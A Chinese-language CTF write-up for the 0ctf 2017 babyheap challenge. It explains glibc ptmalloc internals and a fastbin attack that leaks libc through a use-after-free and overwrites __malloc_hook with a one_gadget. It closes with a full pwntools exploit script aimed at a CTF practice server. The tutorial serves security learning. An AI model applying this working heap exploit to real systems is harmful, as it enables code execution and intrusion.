0ctfbabyheap2017WP——堆溢出fastbin attack初探
前言
从栈溢出进入堆溢出,漏洞利用的复杂度上了一个大台阶,主要是因为 ptmalloc 内存管理器对于堆管理设计了复杂的数据结构和算法,要想进入堆溢出的学习,就必须厘清它们之间的关系。本文将从一个经典的例子——0ctfbabyheap2017 来介绍一个初级的 fastbin attack 以初探堆溢出攻击。
参考文章
理解 glibc malloc:主流用户态内存分配器实现原理
华庭(庄明强)《Glibc 内存管理-Ptmalloc2 源代码分析》
CTF-Wiki
思路分析
在栈溢出利用中,攻击者经常覆盖函数返回地址以控制程序执行流,但是因为堆和栈在虚拟内存空间布局的区别,堆溢出中大多数情况下无法直接覆盖返回地址以获取程序执行流。但是基本的攻击思路还是先泄露 libc 基址再执行某些代码片段获得 shell。栈上的思路不再赘述,在本题中存在一个堆溢出漏洞(fill()函数可以任意长度写入)。首先利用 Partial Overwrite 实现 UAF 漏洞泄露 libc,之后在 malloc_hook 附近构造 fake chunk 写入 one_gadget 覆写 malloc_hook,再次执行 malloc()获得 shell。
前置知识
ptmalloc 堆管理器数据结构关系
在这部分将自底向上地对 ptmalloc 管理堆所定义的数据结构进行简要介绍,旨在厘清各种数据结构之间的管理,分析堆溢出漏洞利用的原理。
malloc_chunk
每个 chunk 都是结构体 malloc_chunk 的一个实例,用户使用 malloc 申请内存得到的内存块(chunk 也称堆块)就是一个 malloc_chunk 实例。
定义代码
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
chunk 示意图
下图分别为使用中的 chunk 和空闲的 chunk 的结构,chunk 指向堆块实际地址,mem 指向返回给用户的地址。
malloc_state
每个分配区(arena)都是结构体 malloc_state 的一个实例,ptmalloc 使用 malloc_state 来管理分配区。在 pwndbg 中可以使用
arena
查看结构体内存储的数据。
定义代码
struct malloc_state {
/* Serialize access. */
mutex_t mutex;
/* Flags (formerly in max_fast). */
int flags;
#if THREAD_STATS
/* Statistics for locking. Only used if THREAD_STATS is defined. */
long stat_lock_direct, stat_lock_loop, stat_lock_wait;
#endif
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;
#ifdef PER_THREAD
/* Linked list for free arenas. */
struct malloc_state *next_free;
#endif
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
fastbinY
显然,fastbinY 是存储 fastbin 链表的数组,fastbinsY 拥有 10(NFASTBINS)个元素的数组,用于存放每个 fast chunk 链表头指针,所以 fast bins 最多包含 10 个 fast chunk 的单向链表。
top
top 是一个 chunk 指针,指向分配区的 top chunk。
last_remainder
last_remainder 是一个 chunk 指针,如果分配区上次分配 small chunk 时,从一个 chunk 中分裂一个 small chunk 返回给用户,分裂后剩余了部分形成一个 chunk,last_remainder 就是指向这个 chunk。
bins
bins 用于存储 unsorted bin,small bin 和 large bins 的 chunk 链表头。其中 unsorted bin 1 个,small bin 62 个,large bin 63 个,共 125 个 chunk。
Fastbin 简介
此处对 fast bin 性质作一汇总,读者有个大体印象,在题目中出现对应细节时会再次提到这些性质。
大小为 16~ 80 字节的 chunk 被称为「fast chunk」。在所有的 bins 中,fast bins 路径享有最快的内存分配及释放速度。
- 每个 fast bin 都维护着一条 free chunk 的单链表,采用单链表是因为链表中所有 chunk 的大小相等,增删 chunk 发生在链表顶端即可;—— LIFO
- 指定 fast bin 中所有的 chunk 大小相同
- 相邻两个 chunk 不会被合并
- 初始情况下 fast chunck 最大尺寸以及 fast bin 相应数据结构均未初始化,因此即使用户请求内存大小落在 fast chunk 相应区间,服务用户请求的也将是 small bin 路径而非 fast bin 路径
- free 掉的 chunk 将被添加到对应大小 fastbin 的顶端
- fast bin 采用 chunk 的 fd 域(即空闲 chunk 的第一个指针域)作为后继指针链接链表
- fastbin 中的 chunk 保留标识堆块使用的域 P
Unsorted bin 简介
Unsorted bin 可以看作是 small bins 和 large bins 的 cache,只有一个 unsorted bin,以双向链表管理空闲 chunk,空闲 chunk 不排序,所有的 chunk 在回收时都要先放到 unsorted bin 中,分配时,如果在 unsorted bin 中没有合适的 chunk,就会把 unsorted bin 中的所有 chunk 分别加入到所属的 bin 中,然后再在 bin 中分配合适的 chunk。Bins 数组中的元素 bin[1]用于存储 unsorted bin 的 chunk 链表头。
libc 基址泄露
由上述数据结构分析,main_arena 在 libc 中全局定义并声明,同时各种 bins 地址具有与 main_arena 固定的偏移地址,而 main_arena 具有与 libc 基址固定的。换言之,bins 在 libc 中全局定义声明,故对 libc 具有固定偏移,攻击者可以利用泄露出的 bin 地址,得到 libc 基址,以下展示利用 unsorted bin 泄露 bin[0]地址获取 libc 基址。
main_arena 关于 libc 基址的偏移
在 libc.so.6 的 malloc_trim()函数中,第 25 行&dword_3C3B20 即为 main_arena 的地址。
bin[0]关于 main_arena 的偏移
在 pwndbg 中利用泄露出的 unsorted bin 地址可以得到其关于 main_arena 的偏移量。
malloc_hook 及 free_hook 劫持
简介
malloc_hook 和 free_hook 使得用户可以通过特定的 hook 函数定义 malloc(),realloc(),和 free()的行为以帮助用户 debug。换句话说,hook 的存在让漏洞利用者得以在堆的申请和释放过程中执行函数,所以在堆溢出中,可以覆写 malloc_hook 和 free_hook 为 one_gadget 以获取程序执行流。
劫持原理
- malloc_hook 位于 main_arena 上方 0x10 的位置(malloc_hook_addr = main_arena_addr - 0x10),可以通过 main_arena 低地址处的 fake chunk 来 overwrite 该值实现 getshell。
- free_hook 位于 libc 上_free_hook 上,可以通过 fake chunk 来 overwrite 该值达到劫持程序流的目的。
题解
题目分析
fill()函数中存在堆溢出漏洞,而 dump()函数可以打印最初申请堆块长度的字符数,利用这两个点实现 fast bin attack 并劫持 malloc hook 获取 shell。
fill()函数
fill()函数 size 由用户输入,所以存在任意长度堆溢出漏洞。
__int64 __fastcall fill(__int64 a1){
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = read_digit();
v2 = result;
if ( (int)result >= 0 && (int)result <= 15 ){
result = *(unsigned int *)(24LL * (int)result + a1);
if ( (_DWORD)result == 1 ){
printf("Size: ");
result = read_digit(); // 此处size由用户输入,所以存在堆溢出漏洞
v3 = result;
if ( (int)result > 0 ){
printf("Content: ");
result = Read(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
}
}
}
return result;
}
输出函数
a1 是堆块指针,a2 是堆块大小,均是在分配时存储的最初的值,不随后续 overwrite 改变。
write 返回值:写入文档的字节数(成功);-1(出错)
所以程序实际上实现的是从堆块起始位置开始打印最初申请堆块长度的字符数。
unsigned __int64 __fastcall sub_130F(__int64 a1, unsigned __int64 a2){
unsigned __int64 v3; // [rsp+10h] [rbp-10h]
ssize_t v4; // [rsp+18h] [rbp-8h]
v3 = 0LL;
while ( v3 < a2 ){
v4 = write(1, (const void *)(v3 + a1), a2 - v3);
if ( v4 > 0 ){
v3 += v4;
}
else if ( *_errno_location() != 11 && *_errno_location() != 4 ){
return v3;
}
}
return v3;
}
利用流程
获取 libc 地址
由前置知识分析可知,我们需要利用 unsorted bin 泄露 bin[0]地址以获得 libc 的地址。下面来看一个关于 unsorted bin 的特性,并借此特性泄露 bin[0]地址。
双向链表
上文提到,unsorted bin 是依靠双链表维护空闲 chunk 的,所以 unsorted bin 中第一个 chunk 一定会存在一个指向表头地址的前驱指针,我们通过构造几个堆块看看效果。
首先申请三个实际大小为 0x90 的堆块
接着 free 第一个堆块可以看见 chunk1 的 fd 域和 bk 域均指向地址移的地址 0x00007f99429d3b78。
该地址在 pwndbg 里显示为 0x7f99429d3b78 <main_arena+88>,可见是对 main_arena 有一偏移的地址
我们通过 arena 命令查看 arena 的数据,以来对应看看到底 main_arena+88(0x58)是什么地址
容易看出地址 0x00007f99429d3b78 对应的变量即 top,而 0x7f99429d3b78 <main_arena+88> 就是 bins[0]的地址。由此可知,在 unsorted bin 中的第一个空闲 chunk 的 fd 域和 bk 域都指向 bins[0]。
伪造堆块实现 UAF 泄露 bins[0]地址
经过上述分析我们不妨尝试利用输出 unsorted bin 第一个 chunk 的数据内容来泄露 libc,因此需要读取一个已经被 free 的 chunk 的数据,即 Use-After-Free。但是 dump()函数输出的是原申请大小的数据,所以要想输出 unsorted bin 中 chunk 的数据,必须在 free()该 chunk 后仍有一个指向该位置的指针。为此,我们利用 fast bin attack 伪造一个指向它的指针。
首先申请 4 个实际大小为 0x20 的 chunk,分别为 idx0-3,idx0 的作用是 partial overwrite idx1 的 fd 指针,使其指向 idx4,后两个用于形成单链表结构,idx3 用于修改 idx4 的数据。
# in the following, the real size of chunk is the allocated size adding 0x10
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
# 0x90 is not in fastbin but in unsorted bin
allocate(0x80) # idx4 free to unsorted bin
free(2)
free(1)
注意到此时 fastbin 中构成单链表,idx1 的 fd 指针指向 idx2。由于起始堆块的地址是 4KB(即 0x1000)对齐的,也就是在新的一页内存中。我们修改 idx1 的 fd 指针的最低字节为 0x80 即可将其指向 idx4。
# change the fd point to idx4
payload1 = b'a' * 0x10 + p64(0) + p64(0x21) + p8(0x80)
fill(0, len(payload1), payload1)
在上述断点调试时,地址重新随机化,但仍是 0x1000 对齐的,同时可以看见 fastbin[0x20][1]存储的是指向 idx4 的指针,我们将 fastbin[0x20][1]分配出来就得到另一个指向 idx4 对应 chunk 的指针 idx4*,当我们释放原 idx4 后,通过 dump(idx4*)即可泄露 libc。
# modify the size of chunk idx4 to fit the demand of choose free chunk
payload2 = b'a' * 0x10 + p64(0) + p64(0x21)
fill(3, len(payload2), payload2)
# 1st is idx1 and 2nd is the fake chunk which is freed into unsorted bin and its fd is the addr of unsorted bin
allocate(0x10) # idx1
allocate(0x10) # idx2 point to the chunk of idx4
要从 fastbin 申请 0x20 的堆块,必须保证该堆块 size 域为 0x21,这就要求我们修改 idx4 chunk 的 size 域为 0x21。接着从 fastbin[0x20]中吧两个 chunk 申请出来,第二个就是 idx4*,对应的下标是 idx2。
现在我们得到两个指向 0x80 处 chunk 的指针了,我们利用 idx4 指针将其释放进 unsorted bin,需要先修改 size 域为 0x91,否则释放后会进入 fastbin。同时再申请一个堆块避免 idx4 与 top chunk 合并。
allocate(0x80) # idx5, avoid idx4 adjacent to top chunk
# fix the size of idx4 before free
payload = 0x10 * b'a' + p64(0) + p64(0x91)
fill(3, len(payload), payload)
free(4)
dump(2)
dump(2)即可输出 bin[0]的地址。偏移如何获取已在前置知识处说明,此处不再赘述。
p.recvuntil(b"Content: \n")
bin0_addr = u64(p.recv(8))
bin0_offset = 0x58
main_arena_addr = bin0_addr - bin0_offset
main_arena_offset = 0x3C4B20
libc_addr = main_arena_addr - main_arena_offset
利用 fake chunk 覆写 malloc hook
获取 libc_addr 后,终于可以进行利用了。我们已经讲过,通过修改 malloc_hook 为 one_gadget 以 getshell。此处需要构造 fake chunk。在泄露 libc_addr 的过程中我们用到 fast bin attack,可以修改 fast bin 中第 i 个 free chunk 的 fd 指针,第 i+1 个 free chunk 的地址为任意已知的想要指向的地址。下面来具体分析构造 fake chunk 的过程。
在此我们先分析一下什么叫 fake chunk。首先,我们的目的是在 malloc_hook_addr 更低地址处申请一个 chunk,利用它修改 malloc_hook,而申请这样的堆块,不仅需要一个指针,还需要这个指针指向的堆块的 size 域满足大小与 fastbin 大小对应相等的这个关系,除此之外没有其他限制。换句话说,我们需要一个字节的数据,它与正常进入 fastbin 的 chunk 的 size 域相同。通过这个字节数据作为 size 域的 chunk 就是所谓的 fake chunk。
我们可以通过 find_fake_fast
命令寻找 fake chunk。
这样就得到了 fake_chunk_addr。任意选取一个,计算它的 mem 指针与 malloc_hook 的大小差即可。为加深理解,这里给出正常一字节空间存储的数据,读者不妨自己体会体会 fake chunk 的含义。同时也可以想想 0x7f 是不是最容易出现的 size 域的值?同时,为什么 0x7f 的低 4 位不影响 chunk 的大小?
我们已知 fake chunk 的大小为 0x70,于是只需要利用 fast bin attack,申请一个指向 fake chunk 的指针即可。但是这里有一个小 trick,在上述泄露 libc 的操作中,我们的 idx2 指针仍在,但对应的大小为 0x90 的 chunk 在 unsorted bin 中,而当 fastbin[0x70]为空时,要申请 0x70 的 chunk,会将 0x90 的 chunk 分割 0x70 以满足申请,剩余 0x20 进入 reminder。也就是说,我们申请一个 0x70 大小的 chunk 后,idx2 和 malloc 返回的新指针都指向它,利用新指针将它 free 后 idx2 依然可以读写它。
所以,只需要在 free 之后将它的 fd 域修改为 fake_chunk_addr,再申请 fastbin 中的 chunk 即可。
allocate(0x60) # idx2 and idx4 point to it
free(4)
此时 fastbin 中只存在一个刚刚 free 的一个 chunk。
fake_chunk_offset = -0x33
fake_chunk_addr = main_arena_addr + fake_chunk_offset
payload3 = p64(fake_chunk_addr)
fill(2, len(payload3), payload3)
修改 fd 指针后出现两个。表明 fastbin 不对有多少 chunk 计数,而是通过 fd 指针指向 null 判断链表结束,与我们熟知的链表的特点完全吻合。第二个即是 fake chunk。
allocate(0x60) # idx4
allocate(0x60) # idx6
one_gadget_offset = 0x4526a
one_gadget_addr = libc_addr + one_gadget_offset
payload4 = b'a' * 0x13 + p64(one_gadget_addr)
fill(6, len(payload4), payload4)
idx6 就是 fake_chunk 的指针,计算准偏移量后将 malloc_hook 覆盖成 one_gadget 即可。
代码
from pwn import *
p = remote("node4.buuoj.cn", 29511)
def allocate(_size):
p.sendlineafter(b'Command: ', b"1")
p.sendline(bytes(str(_size), encoding='utf-8'))
def fill(idx, ll, _payload):
p.sendlineafter(b'Command: ', b"2")
p.sendline(bytes(str(idx), encoding='utf-8'))
p.sendline(bytes(str(ll), encoding='utf-8'))
p.sendline(bytes(_payload))
def free(idx):
p.sendlineafter(b'Command: ', b"3")
p.sendline(bytes(str(idx), encoding='utf-8'))
def dump(idx):
p.sendlineafter(b'Command: ', b"4")
p.sendline(bytes(str(idx), encoding='utf-8'))
# 1.use unsorted bin to leak libc addr
# in the following, the real size of chunk is the allocated size adding 0x10
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
# 0x90 is not in fastbin but in unsorted bin
allocate(0x80)
free(2)
free(1)
# change the fd point to idx4
payload1 = b'a' * 0x10 + p64(0) + p64(0x21) + p8(0x80)
fill(0, len(payload1), payload1)
# modify the size of chunk idx4 to fit the demand of choose free chunk
payload2 = b'a' * 0x10 + p64(0) + p64(0x21)
fill(3, len(payload2), payload2)
# 1st is idx1 and 2nd is the fake chunk which is freed into unsorted bin and its fd is the addr of unsorted bin
allocate(0x10) # idx1
allocate(0x10) # idx2 point to the chunk of idx4
allocate(0x80) # idx5, avoid idx4 adjacent to top chunk
# fix the size of idx4 before free
payload = 0x10 * b'a' + p64(0) + p64(0x91)
fill(3, len(payload), payload)
free(4)
dump(2)
p.recvuntil(b"Content: \n")
bin0_addr = u64(p.recv(8))
bin0_offset = 0x58
main_arena_addr = bin0_addr - bin0_offset
main_arena_offset = 0x3C4B20
libc_addr = main_arena_addr - main_arena_offset
print("Unsorted bin addr: ", hex(bin0_addr))
print("main arena addr: ", hex(main_arena_addr))
print("libc: ", hex(libc_addr))
# 2. allocate a chunk near malloc_hook to overwrite malloc_hook to one_gadget
allocate(0x60) # idx2 and idx4 point to it
free(4)
fake_chunk_offset = -0x33
fake_chunk_addr = main_arena_addr + fake_chunk_offset
payload3 = p64(fake_chunk_addr)
fill(2, len(payload3), payload3)
allocate(0x60) # idx4
allocate(0x60) # idx6
one_gadget_offset = 0x4526a
one_gadget_addr = libc_addr + one_gadget_offset
payload4 = b'a' * 0x13 + p64(one_gadget_addr)
fill(6, len(payload4), payload4)
allocate(0x100)
p.interactive()